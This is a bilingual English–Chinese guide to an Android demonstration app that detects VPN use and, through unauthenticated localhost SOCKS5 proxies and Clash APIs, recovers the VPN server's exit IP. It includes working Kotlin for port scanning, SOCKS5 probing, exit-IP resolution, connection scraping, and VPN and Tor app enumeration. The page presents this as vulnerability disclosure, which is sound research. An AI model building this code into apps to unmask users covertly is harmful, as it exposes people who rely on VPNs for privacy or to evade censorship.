yourvpndead-vpn-detection
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseYourVPNDead — Android VPN Detection & SOCKS5 Vulnerability Scanner
YourVPNDead — Android VPN检测与SOCKS5漏洞扫描工具
Skill by ara.so — Daily 2026 Skills collection.
Android app (Kotlin + Jetpack Compose) demonstrating that any app — without root or special permissions — can detect VPN usage, identify the VPN client, and retrieve the VPN server's exit IP through unauthenticated SOCKS5 proxies exposed on localhost by popular VPN clients (v2rayNG, NekoBox, Hiddify, etc.).
由ara.so开发的技能 — 2026每日技能合集。
这款Android应用(基于Kotlin + Jetpack Compose)展示了:任何应用无需Root权限或特殊权限,即可检测VPN使用情况、识别VPN客户端,并通过主流VPN客户端(v2rayNG、NekoBox、Hiddify等)在本地主机暴露的未认证SOCKS5代理,获取VPN服务器的出口IP。
Build & Install
构建与安装
bash
git clone https://github.com/loop-uh/yourvpndead.git
cd yourvpndead
./gradlew assembleDebugbash
git clone https://github.com/loop-uh/yourvpndead.git
cd yourvpndead
./gradlew assembleDebugOutput: app/build/outputs/apk/debug/app-debug.apk
输出路径: app/build/outputs/apk/debug/app-debug.apk
adb install app/build/outputs/apk/debug/app-debug.apk
Or download the pre-built APK from [Releases](https://github.com/loop-uh/yourvpndead/releases).
**Required permissions** (`AndroidManifest.xml`):
```xml
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />adb install app/build/outputs/apk/debug/app-debug.apk
或者从[Releases](https://github.com/loop-uh/yourvpndead/releases)下载预构建的APK。
**所需权限**(`AndroidManifest.xml`):
```xml
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />Architecture
架构
ScanOrchestrator (14 phases)
├── ProfileDetector — work profile, isolation, VPN status
├── ProcNetScanner — /proc/net/tcp fingerprinting
├── DirectSignsChecker — 6 direct VPN checks
├── IndirectSignsChecker — 5 indirect checks (MTU, DNS, dumpsys)
├── DeviceInfoCollector — device fingerprint
├── PortScanner — TCP scan IPv4 + IPv6 localhost
├── Socks5Probe — proxy type identification
├── XrayAPIDetector — xray gRPC API detection
├── ClashAPIProbe — Clash REST API probe
├── AuthProbe — auth analysis + brute-force demo
├── ExitIPResolver — exit IP via SOCKS5
└── GeoLocator — IP geolocationStack: Kotlin, Jetpack Compose, Material 3, Coroutines, MVVM (ViewModel + StateFlow)
ScanOrchestrator(14个阶段)
├── ProfileDetector — 工作配置文件、隔离环境、VPN状态
├── ProcNetScanner — /proc/net/tcp指纹识别
├── DirectSignsChecker — 6项直接VPN检测
├── IndirectSignsChecker — 5项间接检测(MTU、DNS、dumpsys)
├── DeviceInfoCollector — 设备指纹
├── PortScanner — IPv4 + IPv6本地主机TCP扫描
├── Socks5Probe — 代理类型识别
├── XrayAPIDetector — xray gRPC API检测
├── ClashAPIProbe — Clash REST API探测
├── AuthProbe — 认证分析 + 暴力破解演示
├── ExitIPResolver — 通过SOCKS5获取出口IP
└── GeoLocator — IP地理定位技术栈:Kotlin、Jetpack Compose、Material 3、Coroutines、MVVM(ViewModel + StateFlow)
Key Detection Modules
核心检测模块
1. Direct VPN Signs — DirectSignsChecker.kt
DirectSignsChecker.kt1. 直接VPN特征检测 — DirectSignsChecker.kt
DirectSignsChecker.ktDetects VPN via standard (and hidden) Android APIs:
kotlin
// Check TRANSPORT_VPN capability
val connectivityManager = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
val network = connectivityManager.activeNetwork
val caps = connectivityManager.getNetworkCapabilities(network)
val hasVpnTransport = caps?.hasTransport(NetworkCapabilities.TRANSPORT_VPN) == true
// Check hidden IS_VPN flag (not in public API)
val capsString = caps?.toString() ?: ""
val hasIsVpn = capsString.contains("IS_VPN")
val hasVpnTransportInfo = capsString.contains("VpnTransportInfo")
// Check system proxy properties
val httpProxyHost = System.getProperty("http.proxyHost")
val socksProxyHost = System.getProperty("socksProxyHost")
// Check NOT_VPN capability absence (inverse detection)
val notVpnCapability = caps?.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN) == true
// If false → network IS a VPN通过标准(及隐藏)Android API检测VPN:
kotlin
// 检查TRANSPORT_VPN能力
val connectivityManager = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
val network = connectivityManager.activeNetwork
val caps = connectivityManager.getNetworkCapabilities(network)
val hasVpnTransport = caps?.hasTransport(NetworkCapabilities.TRANSPORT_VPN) == true
// 检查隐藏的IS_VPN标志(不在公开API中)
val capsString = caps?.toString() ?: ""
val hasIsVpn = capsString.contains("IS_VPN")
val hasVpnTransportInfo = capsString.contains("VpnTransportInfo")
// 检查系统代理属性
val httpProxyHost = System.getProperty("http.proxyHost")
val socksProxyHost = System.getProperty("socksProxyHost")
// 检查NOT_VPN能力是否缺失(反向检测)
val notVpnCapability = caps?.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN) == true
// 如果为false → 当前网络是VPN2. VPN Interface Detection
2. VPN接口检测
kotlin
import java.net.NetworkInterface
fun detectVpnInterfaces(): List<String> {
val vpnPatterns = listOf(
Regex("^tun\\d+$"),
Regex("^tap\\d+$"),
Regex("^wg\\d+$"),
Regex("^ppp\\d+$"),
Regex("^ipsec.*$")
)
return NetworkInterface.getNetworkInterfaces()
.toList()
.filter { iface -> vpnPatterns.any { it.matches(iface.name) } }
.map { it.name }
}
// Check MTU anomaly (VPN lowers MTU due to encapsulation overhead)
fun checkMtuAnomaly(): Boolean {
return NetworkInterface.getNetworkInterfaces()
.toList()
.filter { it.isUp && !it.isLoopback }
.any { it.mtu in 1..1499 } // Standard Ethernet = 1500
}
// WireGuard: ~1420, OpenVPN: ~1400, VLESS/xray: ~1380-1400kotlin
import java.net.NetworkInterface
fun detectVpnInterfaces(): List<String> {
val vpnPatterns = listOf(
Regex("^tun\\d+$"),
Regex("^tap\\d+$"),
Regex("^wg\\d+$"),
Regex("^ppp\\d+$"),
Regex("^ipsec.*$")
)
return NetworkInterface.getNetworkInterfaces()
.toList()
.filter { iface -> vpnPatterns.any { it.matches(iface.name) } }
.map { it.name }
}
// 检查MTU异常(VPN因封装开销会降低MTU)
fun checkMtuAnomaly(): Boolean {
return NetworkInterface.getNetworkInterfaces()
.toList()
.filter { it.isUp && !it.isLoopback }
.any { it.mtu in 1..1499 } // 标准以太网MTU为1500
}
// WireGuard: ~1420, OpenVPN: ~1400, VLESS/xray: ~1380-14003. /proc/net/tcp Scanner — ProcNetScanner.kt
ProcNetScanner.kt3. /proc/net/tcp扫描器 — ProcNetScanner.kt
ProcNetScanner.ktReads listening ports without root:
kotlin
fun scanProcNetTcp(): List<Int> {
val openPorts = mutableListOf<Int>()
listOf("/proc/net/tcp", "/proc/net/tcp6").forEach { path ->
try {
File(path).forEachLine { line ->
val parts = line.trim().split("\\s+".toRegex())
if (parts.size >= 4) {
val state = parts[3]
if (state == "0A") { // 0A = LISTEN
val localAddress = parts[1]
val portHex = localAddress.split(":").lastOrNull()
portHex?.toIntOrNull(16)?.let { openPorts.add(it) }
}
}
}
} catch (e: Exception) { /* May be restricted on newer Android */ }
}
return openPorts
}
// Fingerprint VPN client by port pattern
fun fingerprintClient(ports: List<Int>): String {
return when {
10808 in ports && 10809 in ports && 19085 in ports -> "v2rayNG / xray"
2080 in ports -> "NekoBox / sing-box"
7890 in ports && 7891 in ports && 9090 in ports -> "Clash / mihomo"
3066 in ports && 3067 in ports -> "Karing"
19090 in ports -> "sing-box (Clash API — IP leak via /connections!)"
else -> "Unknown"
}
}无需Root权限读取监听端口:
kotlin
fun scanProcNetTcp(): List<Int> {
val openPorts = mutableListOf<Int>()
listOf("/proc/net/tcp", "/proc/net/tcp6").forEach { path ->
try {
File(path).forEachLine { line ->
val parts = line.trim().split("\\s+".toRegex())
if (parts.size >= 4) {
val state = parts[3]
if (state == "0A") { // 0A = LISTEN状态
val localAddress = parts[1]
val portHex = localAddress.split(":").lastOrNull()
portHex?.toIntOrNull(16)?.let { openPorts.add(it) }
}
}
}
} catch (e: Exception) { /* 部分新版Android可能限制访问 */ }
}
return openPorts
}
// 通过端口模式识别VPN客户端
fun fingerprintClient(ports: List<Int>): String {
return when {
10808 in ports && 10809 in ports && 19085 in ports -> "v2rayNG / xray"
2080 in ports -> "NekoBox / sing-box"
7890 in ports && 7891 in ports && 9090 in ports -> "Clash / mihomo"
3066 in ports && 3067 in ports -> "Karing"
19090 in ports -> "sing-box (Clash API — 通过/connections泄露IP!)"
else -> "Unknown"
}
}4. Port Scanner — PortScanner.kt
PortScanner.kt4. 端口扫描器 — PortScanner.kt
PortScanner.ktTCP connect scan on 127.0.0.1 and ::1:
kotlin
import kotlinx.coroutines.*
import java.net.InetSocketAddress
import java.net.Socket
suspend fun scanKnownPorts(
timeout: Int = 300,
parallelism: Int = 32
): List<Int> = coroutineScope {
val knownVpnPorts = listOf(
// xray / v2rayNG
10808, 10809, 10810, 10085, 19085,
// sing-box / NekoBox
2080, 2081, 3066, 3067,
// Clash / mihomo
7890, 7891, 7892, 7893, 9090, 19090,
// Common proxy
1080, 8080, 8118, 9050, 3128,
// Yandex.Metrica tracking
29009, 29010, 30102, 30103,
// Meta Pixel
12387, 12388, 12389
)
val semaphore = kotlinx.coroutines.sync.Semaphore(parallelism)
knownVpnPorts.map { port ->
async(Dispatchers.IO) {
semaphore.withPermit {
try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeout)
port // Return port if connected
}
} catch (e: Exception) { null }
}
}
}.awaitAll().filterNotNull()
}
// Full scan 1-65535
suspend fun fullPortScan(timeout: Int = 200): List<Int> = coroutineScope {
val semaphore = kotlinx.coroutines.sync.Semaphore(32)
(1..65535).map { port ->
async(Dispatchers.IO) {
semaphore.withPermit {
try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeout)
port
}
} catch (e: Exception) { null }
}
}
}.awaitAll().filterNotNull()
}对127.0.0.1和::1进行TCP连接扫描:
kotlin
import kotlinx.coroutines.*
import java.net.InetSocketAddress
import java.net.Socket
suspend fun scanKnownPorts(
timeout: Int = 300,
parallelism: Int = 32
): List<Int> = coroutineScope {
val knownVpnPorts = listOf(
// xray / v2rayNG
10808, 10809, 10810, 10085, 19085,
// sing-box / NekoBox
2080, 2081, 3066, 3067,
// Clash / mihomo
7890, 7891, 7892, 7893, 9090, 19090,
// 通用代理端口
1080, 8080, 8118, 9050, 3128,
// Yandex.Metrica追踪端口
29009, 29010, 30102, 30103,
// Meta Pixel端口
12387, 12388, 12389
)
val semaphore = kotlinx.coroutines.sync.Semaphore(parallelism)
knownVpnPorts.map { port ->
async(Dispatchers.IO) {
semaphore.withPermit {
try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeout)
port // 连接成功则返回端口
}
} catch (e: Exception) { null }
}
}
}.awaitAll().filterNotNull()
}
// 全端口扫描1-65535
suspend fun fullPortScan(timeout: Int = 200): List<Int> = coroutineScope {
val semaphore = kotlinx.coroutines.sync.Semaphore(32)
(1..65535).map { port ->
async(Dispatchers.IO) {
semaphore.withPermit {
try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeout)
port
}
} catch (e: Exception) { null }
}
}
}.awaitAll().filterNotNull()
}5. SOCKS5 Probe — Socks5Probe.kt
Socks5Probe.kt5. SOCKS5探测 — Socks5Probe.kt
Socks5Probe.ktIdentify proxy type and check for authentication:
kotlin
import java.io.InputStream
import java.io.OutputStream
import java.net.Socket
enum class ProxyType { SOCKS5_NO_AUTH, SOCKS5_AUTH_REQUIRED, HTTP_CONNECT, GRPC, UNKNOWN }
fun probePort(port: Int, timeoutMs: Int = 2000): ProxyType {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeoutMs)
socket.soTimeout = timeoutMs
val out: OutputStream = socket.getOutputStream()
val inp: InputStream = socket.getInputStream()
// SOCKS5 handshake: VER=5, NMETHODS=1, METHOD=NO_AUTH(0x00)
out.write(byteArrayOf(0x05, 0x01, 0x00))
out.flush()
val response = ByteArray(2)
inp.read(response)
when {
response[0] == 0x05.toByte() && response[1] == 0x00.toByte() ->
ProxyType.SOCKS5_NO_AUTH // Vulnerable!
response[0] == 0x05.toByte() && response[1] == 0x02.toByte() ->
ProxyType.SOCKS5_AUTH_REQUIRED // Protected
else -> ProxyType.UNKNOWN
}
}
} catch (e: Exception) { ProxyType.UNKNOWN }
}
// HTTP CONNECT probe
fun probeHttpConnect(port: Int): Boolean {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), 2000)
val out = socket.getOutputStream()
out.write("CONNECT example.com:443 HTTP/1.1\r\nHost: example.com:443\r\n\r\n".toByteArray())
out.flush()
val response = socket.getInputStream().bufferedReader().readLine() ?: ""
response.contains("200") || response.contains("407") || response.startsWith("HTTP")
}
} catch (e: Exception) { false }
}识别代理类型并检查认证要求:
kotlin
import java.io.InputStream
import java.io.OutputStream
import java.net.Socket
enum class ProxyType { SOCKS5_NO_AUTH, SOCKS5_AUTH_REQUIRED, HTTP_CONNECT, GRPC, UNKNOWN }
fun probePort(port: Int, timeoutMs: Int = 2000): ProxyType {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeoutMs)
socket.soTimeout = timeoutMs
val out: OutputStream = socket.getOutputStream()
val inp: InputStream = socket.getInputStream()
// SOCKS5握手:VER=5, NMETHODS=1, METHOD=NO_AUTH(0x00)
out.write(byteArrayOf(0x05, 0x01, 0x00))
out.flush()
val response = ByteArray(2)
inp.read(response)
when {
response[0] == 0x05.toByte() && response[1] == 0x00.toByte() ->
ProxyType.SOCKS5_NO_AUTH // 存在漏洞!
response[0] == 0x05.toByte() && response[1] == 0x02.toByte() ->
ProxyType.SOCKS5_AUTH_REQUIRED // 已防护
else -> ProxyType.UNKNOWN
}
}
} catch (e: Exception) { ProxyType.UNKNOWN }
}
// HTTP CONNECT探测
fun probeHttpConnect(port: Int): Boolean {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), 2000)
val out = socket.getOutputStream()
out.write("CONNECT example.com:443 HTTP/1.1\r\nHost: example.com:443\r\n\r\n".toByteArray())
out.flush()
val response = socket.getInputStream().bufferedReader().readLine() ?: ""
response.contains("200") || response.contains("407") || response.startsWith("HTTP")
}
} catch (e: Exception) { false }
}6. Exit IP Resolution via SOCKS5 — ExitIPResolver.kt
ExitIPResolver.kt6. 通过SOCKS5解析出口IP — ExitIPResolver.kt
ExitIPResolver.ktGet VPN server's real IP through unauthenticated SOCKS5:
kotlin
import java.net.InetAddress
import java.net.Socket
fun resolveExitIpViaSocks5(
socksPort: Int,
targetHost: String = "api.ipify.org",
targetPort: Int = 80
): String? {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", socksPort), 3000)
socket.soTimeout = 5000
val out = socket.getOutputStream()
val inp = socket.getInputStream()
// SOCKS5 handshake
out.write(byteArrayOf(0x05, 0x01, 0x00)); out.flush()
val auth = ByteArray(2); inp.read(auth)
if (auth[1] != 0x00.toByte()) return null // Auth required
// CONNECT request (ATYP=0x03 domain name)
val hostBytes = targetHost.toByteArray()
val request = byteArrayOf(
0x05, // VER
0x01, // CMD = CONNECT
0x00, // RSV
0x03, // ATYP = domain
hostBytes.size.toByte() // domain length
) + hostBytes + byteArrayOf(
(targetPort shr 8).toByte(),
(targetPort and 0xFF).toByte()
)
out.write(request); out.flush()
// Read response (10 bytes for IPv4)
val resp = ByteArray(10); inp.read(resp)
if (resp[1] != 0x00.toByte()) return null // Connection failed
// HTTP GET to ipify
out.write("GET / HTTP/1.1\r\nHost: $targetHost\r\nConnection: close\r\n\r\n".toByteArray())
out.flush()
val response = inp.bufferedReader().readText()
// Response body is the exit IP
response.lines().last { it.matches(Regex("\\d+\\.\\d+\\.\\d+\\.\\d+")) }
}
} catch (e: Exception) { null }
}通过未认证的SOCKS5获取VPN服务器的真实IP:
kotlin
import java.net.InetAddress
import java.net.Socket
fun resolveExitIpViaSocks5(
socksPort: Int,
targetHost: String = "api.ipify.org",
targetPort: Int = 80
): String? {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", socksPort), 3000)
socket.soTimeout = 5000
val out = socket.getOutputStream()
val inp = socket.getInputStream()
// SOCKS5握手
out.write(byteArrayOf(0x05, 0x01, 0x00)); out.flush()
val auth = ByteArray(2); inp.read(auth)
if (auth[1] != 0x00.toByte()) return null // 需要认证
// CONNECT请求(ATYP=0x03 域名类型)
val hostBytes = targetHost.toByteArray()
val request = byteArrayOf(
0x05, // VER
0x01, // CMD = CONNECT
0x00, // RSV
0x03, // ATYP = 域名
hostBytes.size.toByte() // 域名长度
) + hostBytes + byteArrayOf(
(targetPort shr 8).toByte(),
(targetPort and 0xFF).toByte()
)
out.write(request); out.flush()
// 读取响应(IPv4为10字节)
val resp = ByteArray(10); inp.read(resp)
if (resp[1] != 0x00.toByte()) return null // 连接失败
// 向ipify发送HTTP GET请求
out.write("GET / HTTP/1.1\r\nHost: $targetHost\r\nConnection: close\r\n\r\n".toByteArray())
out.flush()
val response = inp.bufferedReader().readText()
// 响应体即为出口IP
response.lines().last { it.matches(Regex("\\d+\\.\\d+\\.\\d+\\.\\d+")) }
}
} catch (e: Exception) { null }
}7. Clash REST API Probe — ClashAPIProbe.kt
ClashAPIProbe.kt7. Clash REST API探测 — ClashAPIProbe.kt
ClashAPIProbe.ktsing-box/mihomo expose Clash API on localhost without auth by default:
kotlin
import java.net.HttpURLConnection
import java.net.URL
import org.json.JSONObject
data class ClashApiResult(
val isOpen: Boolean,
val connections: List<String> = emptyList(), // Contains destination IPs!
val proxies: List<String> = emptyList(),
val externalController: String? = null
)
fun probeClashApi(port: Int = 9090, timeoutMs: Int = 3000): ClashApiResult {
val baseUrl = "http://127.0.0.1:$port"
return try {
// Check /configs for external-controller info
val configUrl = URL("$baseUrl/configs")
val configConn = configUrl.openConnection() as HttpURLConnection
configConn.connectTimeout = timeoutMs
configConn.readTimeout = timeoutMs
if (configConn.responseCode != 200) return ClashApiResult(false)
val config = JSONObject(configConn.inputStream.bufferedReader().readText())
// GET /connections — reveals ALL active connection destination IPs
val connUrl = URL("$baseUrl/connections")
val connConn = connUrl.openConnection() as HttpURLConnection
connConn.connectTimeout = timeoutMs
val connData = JSONObject(connConn.inputStream.bufferedReader().readText())
val destinationIps = mutableListOf<String>()
val connections = connData.optJSONArray("connections")
if (connections != null) {
for (i in 0 until connections.length()) {
val conn = connections.getJSONObject(i)
conn.optJSONObject("metadata")?.optString("destinationIP")
?.takeIf { it.isNotEmpty() }
?.let { destinationIps.add(it) }
}
}
ClashApiResult(
isOpen = true,
connections = destinationIps,
externalController = config.optString("external-controller")
)
} catch (e: Exception) { ClashApiResult(false) }
}
// Ports to check for Clash API
val clashApiPorts = listOf(9090, 19090, 8080, 9091, 8090)sing-box/mihomo默认会在本地主机暴露无认证的Clash API:
kotlin
import java.net.HttpURLConnection
import java.net.URL
import org.json.JSONObject
data class ClashApiResult(
val isOpen: Boolean,
val connections: List<String> = emptyList(), // 包含目标IP!
val proxies: List<String> = emptyList(),
val externalController: String? = null
)
fun probeClashApi(port: Int = 9090, timeoutMs: Int = 3000): ClashApiResult {
val baseUrl = "http://127.0.0.1:$port"
return try {
// 检查/configs获取external-controller信息
val configUrl = URL("$baseUrl/configs")
val configConn = configUrl.openConnection() as HttpURLConnection
configConn.connectTimeout = timeoutMs
configConn.readTimeout = timeoutMs
if (configConn.responseCode != 200) return ClashApiResult(false)
val config = JSONObject(configConn.inputStream.bufferedReader().readText())
// GET /connections — 暴露所有活跃连接的目标IP
val connUrl = URL("$baseUrl/connections")
val connConn = connUrl.openConnection() as HttpURLConnection
connConn.connectTimeout = timeoutMs
val connData = JSONObject(connConn.inputStream.bufferedReader().readText())
val destinationIps = mutableListOf<String>()
val connections = connData.optJSONArray("connections")
if (connections != null) {
for (i in 0 until connections.length()) {
val conn = connections.getJSONObject(i)
conn.optJSONObject("metadata")?.optString("destinationIP")
?.takeIf { it.isNotEmpty() }
?.let { destinationIps.add(it) }
}
}
ClashApiResult(
isOpen = true,
connections = destinationIps,
externalController = config.optString("external-controller")
)
} catch (e: Exception) { ClashApiResult(false) }
}
// 需要检查的Clash API端口
val clashApiPorts = listOf(9090, 19090, 8080, 9091, 8090)8. VPN App Detection — DirectSignsChecker.kt
DirectSignsChecker.kt8. VPN应用检测 — DirectSignsChecker.kt
DirectSignsChecker.ktEnumerate installed VPN apps (requires QUERY_ALL_PACKAGES on Android 11+):
kotlin
val vpnPackages = mapOf(
"com.v2ray.ang" to "v2rayNG",
"io.nekohasekai.sfa" to "sing-box (SFA)",
"app.hiddify.com" to "Hiddify",
"com.github.shadowsocks" to "Shadowsocks",
"com.matsuridayo.matsuri" to "NekoBox",
"io.nekohasekai.sagernet" to "NekoBox/SagerNet",
"com.clashforwindows.clash" to "ClashMeta",
"com.byedpi" to "ByeDPI",
"org.outline.android.client" to "Outline",
"com.psiphon3" to "Psiphon",
"us.lantern.lantern" to "Lantern",
"com.wireguard.android" to "WireGuard",
"org.torproject.torbrowser" to "Tor Browser",
"org.torproject.android" to "Orbot",
"com.karing.app" to "Karing",
"com.throne.android" to "Throne",
"com.happ.free.vpn.proxy" to "HAPP"
)
fun detectInstalledVpnApps(context: Context): List<String> {
val pm = context.packageManager
return vpnPackages.entries.mapNotNull { (pkg, name) ->
try {
pm.getPackageInfo(pkg, 0)
name // App is installed
} catch (e: PackageManager.NameNotFoundException) { null }
}
}枚举已安装的VPN应用(Android 11+需要QUERY_ALL_PACKAGES权限):
kotlin
val vpnPackages = mapOf(
"com.v2ray.ang" to "v2rayNG",
"io.nekohasekai.sfa" to "sing-box (SFA)",
"app.hiddify.com" to "Hiddify",
"com.github.shadowsocks" to "Shadowsocks",
"com.matsuridayo.matsuri" to "NekoBox",
"io.nekohasekai.sagernet" to "NekoBox/SagerNet",
"com.clashforwindows.clash" to "ClashMeta",
"com.byedpi" to "ByeDPI",
"org.outline.android.client" to "Outline",
"com.psiphon3" to "Psiphon",
"us.lantern.lantern" to "Lantern",
"com.wireguard.android" to "WireGuard",
"org.torproject.torbrowser" to "Tor Browser",
"org.torproject.android" to "Orbot",
"com.karing.app" to "Karing",
"com.throne.android" to "Throne",
"com.happ.free.vpn.proxy" to "HAPP"
)
fun detectInstalledVpnApps(context: Context): List<String> {
val pm = context.packageManager
return vpnPackages.entries.mapNotNull { (pkg, name) ->
try {
pm.getPackageInfo(pkg, 0)
name // 应用已安装
} catch (e: PackageManager.NameNotFoundException) { null }
}
}9. Routing Table Check
9. 路由表检查
kotlin
fun checkDefaultRoute(): String? {
return try {
File("/proc/net/route").readLines()
.drop(1) // Skip header
.firstOrNull { line ->
val parts = line.split("\t")
parts.size >= 2 && parts[1] == "00000000" // Default route (0.0.0.0)
}
?.split("\t")
?.firstOrNull() // Interface name (e.g., "tun0" = VPN)
} catch (e: Exception) { null }
}kotlin
fun checkDefaultRoute(): String? {
return try {
File("/proc/net/route").readLines()
.drop(1) // 跳过表头
.firstOrNull { line ->
val parts = line.split("\t")
parts.size >= 2 && parts[1] == "00000000" // 默认路由(0.0.0.0)
}
?.split("\t")
?.firstOrNull() // 接口名称(例如"tun0" = VPN)
} catch (e: Exception) { null }
}MVVM Pattern — ViewModel + StateFlow
MVVM模式 — ViewModel + StateFlow
kotlin
// ScanViewModel.kt
class ScanViewModel(application: Application) : AndroidViewModel(application) {
private val _scanState = MutableStateFlow<ScanState>(ScanState.Idle)
val scanState: StateFlow<ScanState> = _scanState.asStateFlow()
fun startScan(fullScan: Boolean = false) {
viewModelScope.launch {
_scanState.value = ScanState.Running(phase = "Initializing...")
val orchestrator = ScanOrchestrator(getApplication())
orchestrator.run(
fullPortScan = fullScan,
onPhaseUpdate = { phase -> _scanState.value = ScanState.Running(phase) }
).collect { result ->
_scanState.value = ScanState.Complete(result)
}
}
}
}
// ScanState.kt
sealed class ScanState {
object Idle : ScanState()
data class Running(val phase: String) : ScanState()
data class Complete(val result: ScanResult) : ScanState()
}kotlin
// ScanViewModel.kt
class ScanViewModel(application: Application) : AndroidViewModel(application) {
private val _scanState = MutableStateFlow<ScanState>(ScanState.Idle)
val scanState: StateFlow<ScanState> = _scanState.asStateFlow()
fun startScan(fullScan: Boolean = false) {
viewModelScope.launch {
_scanState.value = ScanState.Running(phase = "初始化中...")
val orchestrator = ScanOrchestrator(getApplication())
orchestrator.run(
fullPortScan = fullScan,
onPhaseUpdate = { phase -> _scanState.value = ScanState.Running(phase) }
).collect { result ->
_scanState.value = ScanState.Complete(result)
}
}
}
}
// ScanState.kt
sealed class ScanState {
object Idle : ScanState()
data class Running(val phase: String) : ScanState()
data class Complete(val result: ScanResult) : ScanState()
}Composable UI Pattern
可组合UI模式
kotlin
@Composable
fun ScanScreen(viewModel: ScanViewModel = viewModel()) {
val state by viewModel.scanState.collectAsState()
Column(modifier = Modifier.fillMaxSize().padding(16.dp)) {
when (val s = state) {
is ScanState.Idle -> Button(onClick = { viewModel.startScan() }) {
Text("Start VPN Scan")
}
is ScanState.Running -> {
CircularProgressIndicator()
Text("Phase: ${s.phase}")
}
is ScanState.Complete -> ScanResultView(result = s.result)
}
}
}kotlin
@Composable
fun ScanScreen(viewModel: ScanViewModel = viewModel()) {
val state by viewModel.scanState.collectAsState()
Column(modifier = Modifier.fillMaxSize().padding(16.dp)) {
when (val s = state) {
is ScanState.Idle -> Button(onClick = { viewModel.startScan() }) {
Text("开始VPN扫描")
}
is ScanState.Running -> {
CircularProgressIndicator()
Text("阶段: ${s.phase}")
}
is ScanState.Complete -> ScanResultView(result = s.result)
}
}
}Vulnerable Client Reference
存在漏洞的客户端参考
| Client | Core | Default SOCKS Port | Auth | Status |
|---|---|---|---|---|
| v2rayNG | xray | 10808 | None | Vulnerable |
| NekoBox | sing-box | 2080 | None | Vulnerable |
| Hiddify | sing-box/xray | varies | None | Vulnerable |
| Happ | xray | varies | None + open gRPC API | Critical |
| Karing | sing-box | 3067 | None | Vulnerable |
| Husi | sing-box | — | Yes | Protected |
| 客户端 | 核心 | 默认SOCKS端口 | 认证状态 | 安全状态 |
|---|---|---|---|---|
| v2rayNG | xray | 10808 | 无 | 存在漏洞 |
| NekoBox | sing-box | 2080 | 无 | 存在漏洞 |
| Hiddify | sing-box/xray | 可变 | 无 | 存在漏洞 |
| Happ | xray | 可变 | 无 + 开放gRPC API | 高危 |
| Karing | sing-box | 3067 | 无 | 存在漏洞 |
| Husi | sing-box | — | 有 | 已防护 |
Known Port Constants
已知端口常量
kotlin
object VpnPorts {
// xray / v2rayNG
val XRAY_SOCKS = 10808
val XRAY_HTTP = 10809
val XRAY_STATS = 19085
val XRAY_GRPC_API = listOf(10085, 19085, 23456, 8001, 62789)
// sing-box / NekoBox
val SINGBOX_MIXED = 2080
val SINGBOX_HTTP = 2081
val KARING_SOCKS = 3067
val KARING_HTTP = 3066
// Clash / mihomo
val CLASH_HTTP = 7890
val CLASH_SOCKS = 7891
val CLASH_REDIR = 7892
val CLASH_API = 9090
val SINGBOX_CLASH_API = 19090 // Leaks connection IPs via /connections
// Common
val TOR_SOCKS = 9050
val PRIVOXY = 8118
}kotlin
object VpnPorts {
// xray / v2rayNG
val XRAY_SOCKS = 10808
val XRAY_HTTP = 10809
val XRAY_STATS = 19085
val XRAY_GRPC_API = listOf(10085, 19085, 23456, 8001, 62789)
// sing-box / NekoBox
val SINGBOX_MIXED = 2080
val SINGBOX_HTTP = 2081
val KARING_SOCKS = 3067
val KARING_HTTP = 3066
// Clash / mihomo
val CLASH_HTTP = 7890
val CLASH_SOCKS = 7891
val CLASH_REDIR = 7892
val CLASH_API = 9090
val SINGBOX_CLASH_API = 19090 // 通过/connections泄露连接IP
// 通用端口
val TOR_SOCKS = 9050
val PRIVOXY = 8118
}Troubleshooting
故障排查
/proc/net/tcp- Restricted on Android 10+ for non-root apps on some ROMs (Samsung Knox, MIUI)
- Fallback: use TCP connect scan via instead
PortScanner
Port scan misses ports
- Increase from 300ms to 500ms for slower devices
timeout - Reduce to 16 if getting connection reset errors
parallelism
QUERY_ALL_PACKAGES denied
- Required for VPN app enumeration on Android 11+
- Must be declared in manifest; some app stores may restrict it
- Fallback: check only packages via resolution
Intent
SOCKS5 probe connects but returns unexpected bytes
- Some clients send HTTP 400 response instead of SOCKS5 rejection
- Add HTTP CONNECT fallback probe after SOCKS5 attempt
Exit IP resolution returns null despite open SOCKS5
- Target may be blocked by the VPN itself
api.ipify.org - Try alternative: ,
ifconfig.mecheckip.amazonaws.com - Some clients block loopback-originated connections to external hosts
Clash API returns 401
- Client has set in config — not the default behavior but possible
secret - Check port 19090 (sing-box uses different default than mihomo's 9090)
/proc/net/tcp- 部分ROM(如Samsung Knox、MIUI)的Android 10+系统会限制非Root应用访问
- 替代方案:使用进行TCP连接扫描
PortScanner
端口扫描遗漏端口
- 针对较慢设备,将从300ms增加到500ms
timeout - 如果出现连接重置错误,将降低至16
parallelism
QUERY_ALL_PACKAGES权限被拒绝
- Android 11+枚举VPN应用需要该权限
- 必须在清单中声明;部分应用商店可能限制该权限
- 替代方案:通过Intent解析仅检查指定包
SOCKS5探测成功连接但返回意外字节
- 部分客户端会返回HTTP 400响应而非SOCKS5拒绝
- 在SOCKS5尝试后添加HTTP CONNECT fallback探测
尽管SOCKS5已开放,但出口IP解析返回null
- VPN本身可能阻止了目标
api.ipify.org - 尝试替代地址:、
ifconfig.mecheckip.amazonaws.com - 部分客户端会阻止来自环回地址的外部主机连接
